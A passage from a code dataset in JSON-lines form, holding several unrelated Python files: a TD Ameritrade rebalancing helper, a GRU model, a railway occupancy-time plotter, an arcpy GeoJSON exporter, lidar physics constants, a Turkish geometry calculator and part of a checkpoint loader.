f:\n data = json.load(f)\n self.session = TDClient(\n client_id=data['client_id'],\n redirect_uri=data['callback_url'],\n credentials_path=credentials_path\n )\n self.session.login()\n \n # assuming only 1 account under management\n self.account = self.session.get_accounts(fields=['positions'])[0]\n self.account_id = self.account['securitiesAccount']['accountId']\n return self.session\n \n def get_portfolio(self):\n positions = self.account['securitiesAccount']['positions']\n portfolio = {}\n for position in positions:\n portfolio[position['instrument']['symbol']] = position['longQuantity']\n return portfolio\n\n def place_orders_dry_run(self, portfolio_diff: dict):\n result = portfolio_diff.copy()\n prices = self._get_last_prices(result)\n for ticker, qty in portfolio_diff.items():\n round_qty = round(qty)\n abs_rounded_qty = abs(round_qty)\n result[ticker] = {\n 'instruction': ('BUY' if qty > 0 else 'SELL'),\n 'qty': abs_rounded_qty,\n 'money_movement': round_qty*prices[ticker]*-1\n }\n return result\n\n def place_orders(self, place_orders_dry_run: dict):\n result = []\n for ticker, order in place_orders_dry_run.items():\n res = self.session.place_order(account=self.account_id, order=self._get_market_order_payload(ticker, order['qty'], order['instruction']))\n result.append(res)\n return result\n\n def _get_market_order_payload(self, ticker, quantity, instruction='BUY'):\n return {\n \"orderType\": \"MARKET\",\n \"session\": \"NORMAL\",\n \"duration\": \"DAY\",\n \"orderStrategyType\": \"SINGLE\",\n \"orderLegCollection\": [\n {\n \"instruction\": instruction,\n \"quantity\": quantity,\n \"instrument\": {\n \"symbol\": ticker,\n \"assetType\": \"EQUITY\"\n }\n }\n ]\n }\n\n def _get_last_prices(self, portfolio: dict):\n quotes = self.session.get_quotes(instruments=portfolio.keys())\n portfolio_prices = portfolio.copy()\n for ticker, _ in portfolio_prices.items():\n portfolio_prices[ticker] = quotes[ticker]['lastPrice']\n return portfolio_prices","repo_name":"Tokukawa/PortfolioAnalyzer","sub_path":"portfolio_analyzer/ameritrade_rebalance_utils.py","file_name":"ameritrade_rebalance_utils.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"70"} +{"seq_id":"24161713762","text":"import torch\nimport torch.nn as nn\nfrom dataset import FlotationDataset\nfrom torch.utils.data import DataLoader\n\nclass GRUPuritiesPredictor(nn.Module):\n def __init__(\n self,\n feature_cnt: int = 22,\n hidden_size: int = 512,\n num_layers: int = 3,\n ) -> None:\n super().__init__()\n\n self.pred_cnt = 1\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.bidirectional = False\n self.gru = nn.GRU(\n input_size=feature_cnt,\n hidden_size=hidden_size,\n num_layers=num_layers,\n batch_first=True,\n bidirectional=self.bidirectional,\n )\n\n self.fc = nn.Linear(\n in_features=hidden_size * (1 + self.bidirectional),\n out_features=self.pred_cnt\n )\n \n def forward(self, input):\n h0 = torch.zeros(self.num_layers * (1 + self.bidirectional), input.shape[0], self.hidden_size)\n # h0 = h0.to(torch.device('cuda' if torch.cuda.is_available() else 'cpu'))\n output, _ = self.gru(input, h0.detach())\n output = output[:, -1, :]\n output = self.fc(output)\n return output\n\nif __name__ == \"__main__\":\n ...\n","repo_name":"qqandy0120/MDS-Final-Project","sub_path":"models/gru.py","file_name":"gru.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25149323055","text":"\"\"\"\nModule to visualize the occupancy times (plots) of given trains\n\"\"\"\nimport datetime\nimport os\nfrom datetime import timedelta\nfrom os import path\nfrom pathlib import Path\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom elements.trajectory import get_waypoints\nfrom library import parser\nfrom library.train_schedule_parser import Train\nfrom library.utils import determine_direction, get_absolute_kilometrage\n\nfrom occupancy_times import get_times\n\nSTART_TIME = parser.parse_date_time(\"2020-07-22T07:30:00.000000\")\nEND_TIME = parser.parse_date_time(\"2020-07-22T09:15:00.000000\")\n\nPLOT_ONLY_FIRST = False\nPLOT_ONLY_ONE_DIR = True\nDIR_TO_PLOT = 0\nHEIGHT = 5\n\n\ndef visualize_lines(lines_to_plot, plot_first_journey_only=False, plot_one_dir_only=True, dir_to_plot=0,\n start_time=None, end_time=\"2020-07-22T09:15:00.000000\"):\n \"\"\"\n Creates pdf file containing all plotted occupancy times for given lines\n :param lines_to_plot: List containing the name of all lines that should be plotted\n :param plot_first_journey_only: Plot the first journey of each line only\n :param plot_one_dir_only: Plot journey(s) in either steigende or fallende Richtung only\n :param dir_to_plot: If plot one dir only: Select Direction: 0 for Steigend and 1 for Fallend\n :param start_time: First time to plot\n :param end_time: last time to plot\n \"\"\"\n package_dir = path.dirname(Path(__file__).parent)\n global START_TIME, END_TIME, PLOT_ONLY_FIRST, PLOT_ONLY_ONE_DIR, DIR_TO_PLOT, HEIGHT\n END_TIME = parser.parse_date_time(end_time)\n PLOT_ONLY_FIRST = plot_first_journey_only\n PLOT_ONLY_ONE_DIR = plot_one_dir_only\n DIR_TO_PLOT = dir_to_plot\n if start_time is not None:\n START_TIME = parser.parse_date_time(start_time)\n else:\n earliest_departure_time = datetime.datetime.max\n for line in lines_to_plot:\n line_folder = path.join(package_dir, Path('resources/schedules/'), line)\n for _, dirs, _ in os.walk(line_folder):\n for directory in dirs:\n try:\n abfahrt_zeit = list(parser.get_departure_time(line, directory).values())[0].replace(tzinfo=None)\n except FileNotFoundError:\n continue\n if (abfahrt_zeit - earliest_departure_time).total_seconds() < 0:\n earliest_departure_time = abfahrt_zeit\n START_TIME = (earliest_departure_time - timedelta(minutes=10))\n\n # Y-Axis height in minutes\n HEIGHT = (END_TIME - START_TIME).total_seconds() / 60\n\n _, ax = plt.subplots(figsize=(64, 36), dpi=300)\n\n for line in lines_to_plot:\n print(f'Visualizing line: {line}')\n line_folder = path.join(package_dir, Path('resources/schedules/'), line)\n\n for _, dirs, _ in os.walk(line_folder):\n for directory in dirs:\n try:\n train = Train(train_line=line, train_journey_id=directory)\n except FileNotFoundError:\n continue\n nodes_list = train.get_verlauf()\n records_list = train.get_trajectory()\n\n link_id = 0\n last_block_driving_time = None\n last_block_vorbelegungszeit_height = None\n last_block_fahrzeit_height = None\n\n abfahrt_zeit = parser.get_departure_time(line, directory)\n # Abfahrtzeit of the current link in minutes since plot start time\n base_time = (list(abfahrt_zeit.values())[0].replace(tzinfo=None) - START_TIME).total_seconds() / 60\n\n for (nodes, records) in zip(nodes_list.values(), records_list.values()):\n records = records[0]\n # For visualization\n direction = determine_direction(nodes)\n if PLOT_ONLY_ONE_DIR:\n if (DIR_TO_PLOT == 0 and direction == \"F\") or (DIR_TO_PLOT == 1 and direction == \"S\"):\n break\n\n belegungszeiten, vorbelegungszeiten, driving_times, nachbelegungszeiten, blocks = get_times(\n line + \" \" + directory, link_id)\n # Dont plot journeys that are outside the plot dimensions\n if (HEIGHT - base_time) < sum(belegungszeiten):\n break\n\n # The position of the first element of the link\n if nodes[0].tag == \"Weichenanfang\":\n base_position = get_absolute_kilometrage(nodes[1])\n else:\n base_position = get_absolute_kilometrage(nodes[0])\n\n base_time = (list(abfahrt_zeit.values())[link_id].replace(\n tzinfo=None) - START_TIME).total_seconds() / 60\n # Used for connecting last and first point of trajectory\n if link_id == 0:\n last_traj_pos, last_traj_time = plot_driving_dynamic(records, direction, base_time,\n base_position)\n else:\n last_traj_pos, last_traj_time = plot_driving_dynamic(records, direction, base_time,\n base_position, last_traj_pos,\n last_traj_time)\n\n last_block_driving_time, last_block_vorbelegungszeit_height, last_block_fahrzeit_height = visualize_blocking_times(\n ax, link_id, abfahrt_zeit,\n vorbelegungszeiten, driving_times,\n nachbelegungszeiten, blocks, records, base_position,\n direction, last_block_driving_time, last_block_vorbelegungszeit_height,\n last_block_fahrzeit_height)\n\n plt.text(base_position, base_time,\n line + \" / \" + directory, fontsize=50)\n\n link_id += 1\n\n if PLOT_ONLY_FIRST and link_id != 0:\n break\n # Plot configurations\n plt.style.use('Solarize_Light2') # plot style\n ax.set_xlabel(r'Kilometrage $n$')\n ax.set_ylabel(r'Time $t$')\n ax.set_ylim(HEIGHT, -2)\n ax.tick_params(labelbottom=False, labeltop=True, labelleft=True, labelright=False)\n ax.tick_params(bottom=True, top=True, left=True, right=True)\n ax.grid(True)\n\n plt.rcParams.update({'font.size': 60})\n ax.xaxis.label.set_size(100)\n ax.yaxis.label.set_size(100)\n ax.tick_params(axis='both', which='major', labelsize=50)\n ax.tick_params(axis='both', which='minor', labelsize=50)\n # Map absolute time values(minutes) from y-axis to timestamps\n ax.yaxis.set_major_formatter(lambda y, pos: (START_TIME + timedelta(minutes=y)).strftime('%H:%M:%S.%f'))\n\n plt.legend(['Vorbelegungszeit', 'Fahrzeit', 'Nachbelegungszeit'])\n\n if DIR_TO_PLOT == 0:\n direction = \"_Steigend\"\n else:\n direction = \"_Fallend\"\n export_path = '../output/visualisations/occupancy_times_' + '_'.join(lines_to_plot) + direction + '.pdf'\n Path('..\\\\output\\\\visualisations').mkdir(parents=True, exist_ok=True)\n plt.savefig(export_path, dpi=300)\n\n\ndef visualize_blocking_times(ax, link_id, abfahrt_zeiten, vorbelegungszeiten, driving_times, nachbelegungszeiten,\n blocks, records, base_position, direction, last_block_driving_time,\n last_block_vorbelegungszeit_height, last_block_fahrzeit_height):\n \"\"\"\n :param ax: axis object of the plot to plot bars on\n :param link_id: id of the current link\n :param abfahrt_zeiten: dict containing the abfahrtzeiten for links for this line\n :param vorbelegungszeiten: list containing the vorbelegungszeiten for the blocks to plot\n :param driving_times: list containing the driving_times for the blocks to plot\n :param nachbelegungszeiten: list containing the nachbelegungszeiten for the blocks to plot\n :param blocks: list containing the Blocks to plot\n :param records: see parser class\n :param base_position: the position of the first element of the link\n :param direction:driving direction \"F\" or \"S\"\n :param last_block_vorbelegungszeit_height: the vorbeleungszeit of the last block of previous link if there was one\n :param last_block_driving_time: the end of the driving time of the last block of previous link if there was one\n :param last_block_fahrzeit_height: the driving time of the last block of previous link if there was one\n \"\"\"\n # Time when train reaches the first Block in minutes since abfahrtszeit at link\n try:\n hs_time = get_waypoints(records, direction, base_position, blocks[0].start_hauptsignal_pos).timestamp\n except Exception:\n hs_time = 0\n\n base_timestamp = (list(abfahrt_zeiten.values())[link_id].replace(tzinfo=None))\n # Abfahrtzeit of the current link in minutes since plot start time\n base_time = (list(abfahrt_zeiten.values())[link_id].replace(tzinfo=None) - START_TIME).total_seconds() / 60\n\n # Timestamp and time of the first block\n base_timestamp += timedelta(minutes=hs_time)\n base_time += hs_time\n # Handle basic block visualization\n # Applied to all but the last block -> reformatted to only use a list instead of nested list\n first_block_vorbelegungszeiten = [vorbelegungszeiten[0]]\n first_block_driving_times = [sum(driving_times[0])]\n first_block_nachbelegungszeiten = [nachbelegungszeiten[0][-1]]\n first_block = blocks[0]\n base_time = visualize_first_block(ax, records, link_id, last_block_driving_time, last_block_vorbelegungszeit_height,\n last_block_fahrzeit_height, base_time, first_block_vorbelegungszeiten,\n first_block_driving_times, first_block_nachbelegungszeiten, first_block,\n direction)\n\n # Second Block is the exit of the train station -> detailed visualisation\n if len(vorbelegungszeiten) > 2:\n second_block_vorbelegungszeiten = [vorbelegungszeiten[1] for d in driving_times[1]]\n second_block_driving_times = driving_times[1]\n second_block_nachbelegungszeiten = nachbelegungszeiten[1]\n second_block = blocks[1]\n end_block_driving_time, _, _ = visualize_detailed_blocking_times(ax, base_time, second_block_vorbelegungszeiten,\n second_block_driving_times,\n second_block_nachbelegungszeiten, second_block,\n direction)\n base_time = end_block_driving_time\n\n # Basic Visualisation for lines\n if len(vorbelegungszeiten) > 3:\n basic_vorbelegungszeiten = vorbelegungszeiten[2:len(vorbelegungszeiten) - 1]\n basic_driving_times = [sum(d) for d in driving_times[2:len(driving_times) - 1]]\n basic_nachbelegungszeiten = [n[-1] for n in nachbelegungszeiten[2:len(nachbelegungszeiten) - 1]]\n basic_blocks = blocks[2:len(blocks) - 1]\n\n visualize_basic_blocking_times(ax, base_time, basic_vorbelegungszeiten,\n basic_driving_times, basic_nachbelegungszeiten, basic_blocks,\n direction)\n\n base_time += sum(basic_driving_times)\n\n # Handle last block visualization -> entrance train station\n end_block_vorbelegungszeiten = [vorbelegungszeiten[-1] for d in driving_times[-1]]\n end_block_driving_times = driving_times[-1]\n end_nachbelegungszeiten = nachbelegungszeiten[-1]\n end_block = blocks[-1]\n\n end_block_driving_time, vorbelegungszeit_height, fahrzeit_height = visualize_detailed_blocking_times(ax, base_time,\n end_block_vorbelegungszeiten,\n end_block_driving_times,\n end_nachbelegungszeiten,\n end_block,\n direction)\n return end_block_driving_time, vorbelegungszeit_height, fahrzeit_height\n\n\ndef plot_driving_dynamic(records, direction, base_time, base_position, last_traj_pos=None, last_traj_time=None):\n \"\"\"\n Plots the trajectory of the train\n :param records: see parser class\n :param direction: driving direction \"S\" or \"F\"\n :param base_time: Abfahrtzeit of the current link in minutes since plot start time\n :param base_position: Position of the first element of the link\n :param last_traj_pos: position of last point of previous link\n :param last_traj_time: time of last point of previous link\n :return position, time of last point\n \"\"\"\n\n # Determines the width of the line\n size = 7 * 0.9964 ** HEIGHT\n x_kilometrierungen = []\n y_times = []\n\n # Used to connect to previous link\n if last_traj_pos is not None:\n x_kilometrierungen.append(last_traj_pos)\n y_times.append(last_traj_time)\n\n for record in records:\n relative_time = float(record.find(\"Upper_absolute_ts\").text) / 60\n relative_position = float(record.find(\"Lower_xs\").text) / 1000\n\n relative_time += base_time\n if direction == \"F\":\n relative_position *= -1\n relative_position += base_position\n\n x_kilometrierungen.append(relative_position)\n y_times.append(relative_time)\n\n plt.scatter(x_kilometrierungen, y_times, zorder=2, s=0, c='black', label=\"_nolegend_\")\n plt.plot(x_kilometrierungen, y_times, zorder=2, c='black', label=\"_nolegend_\", linewidth=size)\n return relative_position, relative_time\n\n\ndef visualize_first_block(ax, records, link_id, base_time, last_block_vorbelegungszeit_height,\n last_block_fahrzeit_height, abfahrts_zeit, vorbelegungszeiten, driving_times,\n nachbelegungszeiten, block,\n direction):\n if link_id == 0:\n visualize_basic_blocking_times(ax, abfahrts_zeit, vorbelegungszeiten,\n driving_times, nachbelegungszeiten, [block],\n direction)\n return abfahrts_zeit + sum(driving_times)\n\n # Visualize first extended Block\n block_length = block.distance_b\n if direction == \"S\":\n block_start = block.start_hauptsignal_pos\n else:\n block_start = block.start_hauptsignal_pos - block_length\n\n abfahrts_zeit += float(records[0].find(\"Upper_absolute_ts\").text.replace(\",\", \".\")) / 60\n vorbelegungs_height = last_block_vorbelegungszeit_height\n bottom = base_time - vorbelegungs_height - last_block_fahrzeit_height\n # Plot data as bars, with x_start as x and x_end as width and y_start as bottom and y_end as height\n ax.bar(x=block_start, height=vorbelegungs_height, width=block_length, align='edge',\n bottom=bottom,\n color='#fdca00', edgecolor='orange', linewidth=0.3, label='Vorbelegungszeit')\n fahrzeit_height = (abfahrts_zeit - base_time) + sum(driving_times) + last_block_fahrzeit_height\n bottom = base_time - last_block_fahrzeit_height\n ax.bar(x=block_start, height=fahrzeit_height, width=block_length, align='edge',\n bottom=bottom,\n color='#b5b5b5', edgecolor='gray', linewidth=0.3, label='Fahrzeit')\n\n nachbelegungszeit_height = nachbelegungszeiten[0]\n bottom = abfahrts_zeit + driving_times[0]\n ax.bar(x=block_start, height=nachbelegungszeit_height, width=block_length, align='edge',\n bottom=bottom,\n color='#0085cc', edgecolor='blue', linewidth=0.3, label='Nachbelegungszeit')\n\n return bottom\n\n\ndef visualize_detailed_blocking_times(ax, base_time, vorbelegungszeiten, driving_times, nachbelegungszeiten, end_block,\n direction):\n \"\"\"\n Visualize occupancy times for each Fahrstrassenabschnitt of one Block\n :param ax: axis element of plot\n :param base_time: start time of block. Ususally end of last basic blocks driving time in minutes\n :param vorbelegungszeiten: list containing the vorbelegungszeiten for the blocks to plot\n :param driving_times: list containing the driving_times for the blocks to plot\n :param nachbelegungszeiten: list containing the nachbelegungszeiten for the blocks to plot\n :param end_block: block that should be visualized (see Dataclass Block)\n :param direction: driving direction \"F\" or \"S\"\n \"\"\"\n # List of relevant elements of blocks\n fstr_abschnitt_start = []\n fstr_abschnitt_end = []\n fstr_abschnitt_length = []\n for abschnitt in getattr(end_block, 'fahrstrassenabschnitte'):\n start_pos = (getattr(abschnitt, 'start_abschnitt_pos'))\n fstr_abschnitt_start.append(start_pos)\n end_pos = (getattr(abschnitt, 'end_abschnitt_pos'))\n fstr_abschnitt_end.append(end_pos)\n fstr_abschnitt_length.append(abs(end_pos - start_pos))\n\n # Store absolute differences between times\n t_0 = []\n for i in range(len(driving_times)):\n if i == 0:\n t_0.append(base_time)\n else:\n t_0.append(t_0[i - 1] + driving_times[i - 1])\n\n # Used to extend the driving times, each driving time is always the driving time of previous Abschnitt + current driving time\n driving_times = np.cumsum(driving_times)\n\n shifted_driving_time = np.roll(driving_times, 1)\n shifted_driving_time[0] = 0\n\n # Dataframe\n blocking_time = {'Abschnitt_Start': fstr_abschnitt_start,\n 'Abschnitt_End': fstr_abschnitt_end,\n 'Abschnitt_Length': fstr_abschnitt_length,\n 'Vorbelegungszeit': vorbelegungszeiten,\n 'Fahrzeit': driving_times,\n 'Nachbelegungszeit': nachbelegungszeiten,\n 'shifted_driving_time': shifted_driving_time,\n 't_0': t_0\n }\n\n block_data = pd.DataFrame(data=blocking_time)\n pd.set_option('display.max_columns', None)\n\n for i in range(0, len(driving_times)):\n\n abschnitt_length = block_data[\"Abschnitt_Length\"][i]\n if direction == \"S\":\n abschnitt_start = block_data[\"Abschnitt_Start\"][i]\n else:\n abschnitt_start = block_data[\"Abschnitt_Start\"][i] - abschnitt_length\n\n vorbelegungs_height = block_data[\"Vorbelegungszeit\"][i]\n bottom = base_time - block_data[\"Vorbelegungszeit\"][i]\n\n ax.bar(x=abschnitt_start, height=vorbelegungs_height, width=abschnitt_length, align='edge',\n bottom=bottom,\n color='#fdca00', edgecolor='orange', linewidth=0.3, label='Vorbelegungszeit')\n\n fahrzeit_height = block_data[\"Fahrzeit\"][i]\n bottom = block_data[\"t_0\"][i] - block_data[\"shifted_driving_time\"][i]\n\n ax.bar(x=abschnitt_start, height=fahrzeit_height, width=abschnitt_length, align='edge',\n bottom=bottom,\n color='#b5b5b5', edgecolor='gray', linewidth=0.3, label='Fahrzeit')\n\n nachbelegungszeit_height = block_data[\"Nachbelegungszeit\"][i]\n bottom = block_data[\"t_0\"][i] + block_data[\"Fahrzeit\"][i] - block_data.shifted_driving_time[i]\n ax.bar(x=abschnitt_start, height=nachbelegungszeit_height, width=abschnitt_length, align='edge',\n bottom=bottom,\n color='#0085cc', edgecolor='blue', linewidth=0.3, label='Nachbelegungszeit')\n return list(block_data[\"t_0\"])[-1] + list(block_data[\"Fahrzeit\"])[-1] - list(block_data[\"shifted_driving_time\"])[\n -1], vorbelegungs_height, fahrzeit_height\n\n\ndef visualize_basic_blocking_times(ax, base_time, vorbelegungszeiten, driving_times, nachbelegungszeiten, blocks,\n direction):\n \"\"\"\n visualizes the occupancy times for each block contained in blocks list\n :param ax: axis element of plot\n :param base_time: start time of block. Ususally end of last basic blocks driving time in minutes\n :param vorbelegungszeiten: list containing the vorbelegungszeiten for the blocks to plot\n :param driving_times: list containing the driving_times for the blocks to plot\n :param nachbelegungszeiten: list containing the nachbelegungszeiten for the blocks to plot\n :param blocks: list containing all blocks that should be visualized (see Dataclass Block)\n :param direction: driving direction \"F\" or \"S\"\n :return time of the end of the driving time of last block in minutes since base_time\n \"\"\"\n # List of relevant elements of blocks\n block_start = []\n block_end = []\n block_length = []\n for block in blocks:\n block_start.append((getattr(block, 'start_hauptsignal_pos')))\n block_end.append((getattr(block, 'end_hauptsignal_pos')))\n block_length.append((getattr(block, 'distance_b')))\n\n # Store absolute differences between times\n t_0 = []\n for i in range(len(driving_times)):\n if i == 0:\n t_0.append(base_time)\n else:\n t_0.append(t_0[i - 1] + driving_times[i - 1])\n\n # Dataframe\n blocking_time = {'Block_Start': block_start,\n 'Block_End': block_end,\n 'Block_Length': block_length,\n # 'Vorbelegungszeit_Stamp': vorbelegung_time_stamp,\n 'Vorbelegungszeit': vorbelegungszeiten,\n # 'Fahrzeit_Stamp': driving_time_stamp,\n 'Fahrzeit': driving_times,\n # 'Nachbelegungszeit_Stamp': nachbelegung_time_stamp,\n 'Nachbelegungszeit': nachbelegungszeiten,\n 't_0': t_0\n }\n block_data = pd.DataFrame(data=blocking_time)\n pd.set_option('display.max_columns', None)\n\n for i in range(0, len(blocks)):\n block_length = block_data[\"Block_Length\"][i]\n if direction == \"S\":\n block_start = block_data[\"Block_Start\"][i]\n else:\n block_start = block_data[\"Block_Start\"][i] - block_length\n\n vorbelegungs_height = block_data[\"Vorbelegungszeit\"][i]\n bottom = block_data[\"t_0\"][i] - block_data[\"Vorbelegungszeit\"][i]\n # Plot data as bars, with x_start as x and x_end as width and y_start as bottom and y_end as height\n ax.bar(x=block_start, height=vorbelegungs_height, width=block_length, align='edge',\n bottom=bottom,\n color='#fdca00', edgecolor='orange', linewidth=0.3, label='Vorbelegungszeit')\n\n fahrzeit_height = block_data[\"Fahrzeit\"][i]\n bottom = block_data[\"t_0\"][i]\n ax.bar(x=block_start, height=fahrzeit_height, width=block_length, align='edge',\n bottom=bottom,\n color='#b5b5b5', edgecolor='gray', linewidth=0.3, label='Fahrzeit')\n\n nachbelegungszeit_height = block_data[\"Nachbelegungszeit\"][i]\n bottom = block_data[\"t_0\"][i] + block_data[\"Fahrzeit\"][i]\n ax.bar(x=block_start, height=nachbelegungszeit_height, width=block_length, align='edge',\n bottom=bottom,\n color='#0085cc', edgecolor='blue', linewidth=0.3, label='Nachbelegungszeit')\n\n return list(block_data[\"t_0\"])[-1] + list(block_data[\"Fahrzeit\"])[-1]\n\n\n# example of S2 and ICE500\nif __name__ == '__main__':\n lines = [\"S2\", \"ICE500\"]\n visualize_lines(lines, plot_one_dir_only=True, plot_first_journey_only=False, dir_to_plot=0,\n start_time=\"2020-07-22T08:20:59.999000\", end_time=\"2020-07-22T09:05:00.000000\")\n","repo_name":"riteshCodes/tms-conflict-identification","sub_path":"modules/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":23946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39320673293","text":"import arcpy\n\ngdb = arcpy.GetParameterAsText(0)\noutFolder = arcpy.GetParameterAsText(1)\narcpy.env.workspace = gdb\nfeatureclasses = arcpy.ListFeatureClasses()\nfor fc in featureclasses:\n #print(fc)\n #arcpy.AddMessage(fc)\n outjson = (outFolder + \"\\\\\" + fc[16:24] + \"-dbct-stockpiles.geojson\")\n #print(outjson)\n arcpy.AddMessage(outjson)\n arcpy.conversion.FeaturesToJSON(fc, outjson, geoJSON='GEOJSON')\n\nprint(\"Script Complete\")\narcpy.AddMessage(\"Script Complete\")","repo_name":"rjoseph-bsky/Arcpy-FeatureClassToGeojson","sub_path":"FCtoGeojson.py","file_name":"FCtoGeojson.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22402894927","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\n\"\"\"\n\n# Paths\nPATH_TO_HITRAN = 'HITRAN_CO2_transition_data.par'\nPATH_TO_TOTAL_INTERNAL_SUM = 'total_internal_partition_sum.csv'\n\nPOWER_OUT_LAMBDA_ON = 1e3 # Wrong value & probably not constant!\nPOWER_OUT_LAMBDA_OFF = 1e3 # Wrong value & probably not constant!\n\n# Range resolution\nDELTA_RANGE = 100 # (m)\n\n# DIAL wavelengths\nLAMBDA_ON = 1571.41 / 1e9 # (m)\nLAMBDA_OFF = 1571.25 / 1e9 # (m)\n\n# P_0\nSTANDARD_PRESSURE = 101325 # (Pa)\n# T_0\nREFERENCE_ABS_TEMPERATURE = 296.15 # (K)\n# S_0\nLINE_INTENSITY_AT_T_0 = 2.179e-23 # (cm mol-1)\n# m'\nMOLECULAR_MASS_CO2 = 43.989830 # (g)\n# W_CO2\nMOLAR_MASS_CO2 = 44.01 # (g mol-1)\n# k\nBOLTZMANNS_CONSTANT_erg = 1.3806488e-16 # (erg K-1)\nBOLTZMANNS_CONSTANT = 1.3806503e-23 # (m2 kg s−2 K−1)\n# h\nPLANCKS_CONSTANT = 6.62606957e-27 # erg s\n# c\nSPEED_OF_LIGHT = 2.99792458e8 # (m s-1)\n# n_0 Lochsmidt's number\nLOCHSMIDTS_NUMBER_AT_1ATM_296K = 2.47937196e19 # (cm-3)\nLOCHSMIDTS_NUMBER_AIR = 2.6867811e25 # (m-3)\n# Q_296K for CO2\nTOTAL_INTERNAL_PARTITION_SUM_296K_CO2 = 286.09\n# N_A\nAVOGADRO_NUMBER = 6.02214086e23 # (mol-1)\n#c_2\nSECOND_BLACK_BODY_RADIATION_CONSTANT = 1.43880285 # (cm K)\n","repo_name":"mannisen/dialpy","sub_path":"dialpy/equations/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"35931294829","text":"type= int(input(\"İşlem yapmak istediğiniz geometrik şekli giriniz.\\n1.Kare\\n2.Dikdörtgen\\n3.Daire\\n4.üçgen\"))\n\nif type == 1:\n print(\"Selected Square\")\n # lütfen alanını ve çevresini ölçmek istediğimiz karenin kenar uzunluğunu\n # alta giriniz.Uygulanan işlem gösterilicerktir.Çevre üsteki sayı alan ise\n # alttaki sayıdır başlatmak için başlata tıklayınız.\n edge = int(input(\"Kenar uzunluğunu giriniz(cm):\"))\n cevre = (edge * 4)\n alan = (edge ** 2)\n print(\"Karenin çevresi:\" + str(cevre) + \" cm\")\n print(\"Karenin alanı:\" + str(alan) + \" cm2\")\nelif type == 2:\n # Dikdörtgen alan ve çevre hesaplamaları\n print(\"Dikdörtgen Seçildi\")\n LongEdge = int(input(\"uzun kenarı giriniz(cm):\"))\n ShortEdge = int(input(\"kısa kenarı giriniz(cm):\"))\n cevre=LongEdge*2+ShortEdge*2\n alan=LongEdge*ShortEdge\n print(\"Dikdörtgenin çevresi:\" + str(cevre) + \" cm\")\n print(\"dikdörtgenin alanı:\" + str(alan) + \" cm2\")\nelif type == 3:\n print(\"Daire Seçildi\")\n pi=3.14\n Yaricap = int(input(\"yarıcapı giriniz(cm):\"))\n cevre=pi*2*Yaricap\n alan=pi*Yaricap**2\n print(\"Dairenin cevresi:\" + str(cevre) + \" cm\")\n print(\"Dairenin alanı:\" + str(alan) + \" cm2\")\nelif type== 4:\n print(\"üçgen seçildi\")\n birincikenar = int(input(\"1. kenarı giriniz.(cm):\"))\n ikincikenar = int(input(\"2. kenarı giriniz.(cm):\"))\n üçüncükenar= int(input(\"1. kenarı giriniz.(cm):\"))\n cevre=birincikenar+ ikincikenar+üçüncükenar\n print(cevre)\n","repo_name":"berkalibascetin/Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"32186015985","text":"import logging\nimport os\nimport os.path as osp\nimport time\nfrom collections import OrderedDict\n\nimport numpy as np\nimport torch\nfrom torch.utils import model_zoo\nimport torch.distributed as dist\n\nimport mmcv\nfrom mmcv.runner.utils import get_dist_info\nfrom tools.multadds_count import comp_multadds_fw\n\n\ndef set_data_path(data_root, data_cfg):\n def add_root(root, path):\n return osp.join(root, path)\n\n for _, v in data_cfg.items():\n if isinstance(v, dict):\n if hasattr(v, 'ann_file'):\n v.ann_file = add_root(data_root, v.ann_file) \n if hasattr(v, 'img_prefix'):\n v.img_prefix = add_root(data_root, v.img_prefix) \n\n for _, z in v.items():\n if hasattr(z, 'ann_file'):\n z.ann_file = add_root(data_root, z.ann_file) \n if hasattr(z, 'img_prefix'):\n z.img_prefix = add_root(data_root, z.img_prefix)\n \n\ndef count_parameters_in_MB(model):\n return np.sum(np.prod(v.size()) for name, v in model.named_parameters() if \"aux\" not in name)/1e6\n\n\ndef load_checkpoint(filename,\n model=None,\n map_location=None,\n strict=False,\n logger=None):\n \"\"\"Load checkpoint from a file or URI.\n\n Args:\n model (Module): Module to load checkpoint.\n filename (str): Either a filepath or URL or modelzoo://xxxxxxx.\n map_location (str): Same as :func:`torch.load`.\n strict (bool): Whether to allow different params for the model and\n checkpoint.\n logger (:mod:`logging.Logger` or None): The logger for error message.\n\n Returns:\n dict or OrderedDict: The loaded checkpoint.\n \"\"\"\n if logger is None:\n logger = logging.getLogger()\n # load checkpoint from modelzoo or file or url\n logger.info('Start loading the model from ' + filename)\n if filename.startswith(('http://', 'https://')):\n url = filename\n filename = '../' + url.split('/')[-1]\n if get_dist_info()[0]==0:\n if osp.isfile(filename):\n os.system('rm '+filename)\n os.system('wget -N -q -P ../ ' + url)\n dist.barrier()\n elif filename.startswith(('hdfs://',)):\n url = filename\n filename = '../' + url.split('/')[-1]\n if get_dist_info()[0]==0:\n if osp.isfile(filename):\n os.system('rm '+filename)\n os.system('hdfs dfs -get ' + url + ' ../')\n dist.barrier()\n else:\n if not osp.isfile(filename):\n raise IOError('{} is not a checkpoint file'.format(filename))\n checkpoint = torch.load(filename, map_location=map_location)\n # get state_dict from checkpoint\n if isinstance(checkpoint, OrderedDict) or isinstance(checkpoint, dict):\n state_dict = checkpoint\n else:\n raise RuntimeError(\n 'No state_dict found in checkpoint file {}'.format(filename))\n # strip prefix of state_dict\n if list(state_dict.keys())[0].startswith('module.'):\n state_dict = {k[7:]: v for k, v in state_dict.items()}\n # load state_dict\n if model is not None:\n if hasattr(model, 'module'):\n model.module.load_state_dict(state_dict, strict=strict)\n else:\n model.load_state_dict(state_dict, strict=strict)\n logger.info('Loading the model 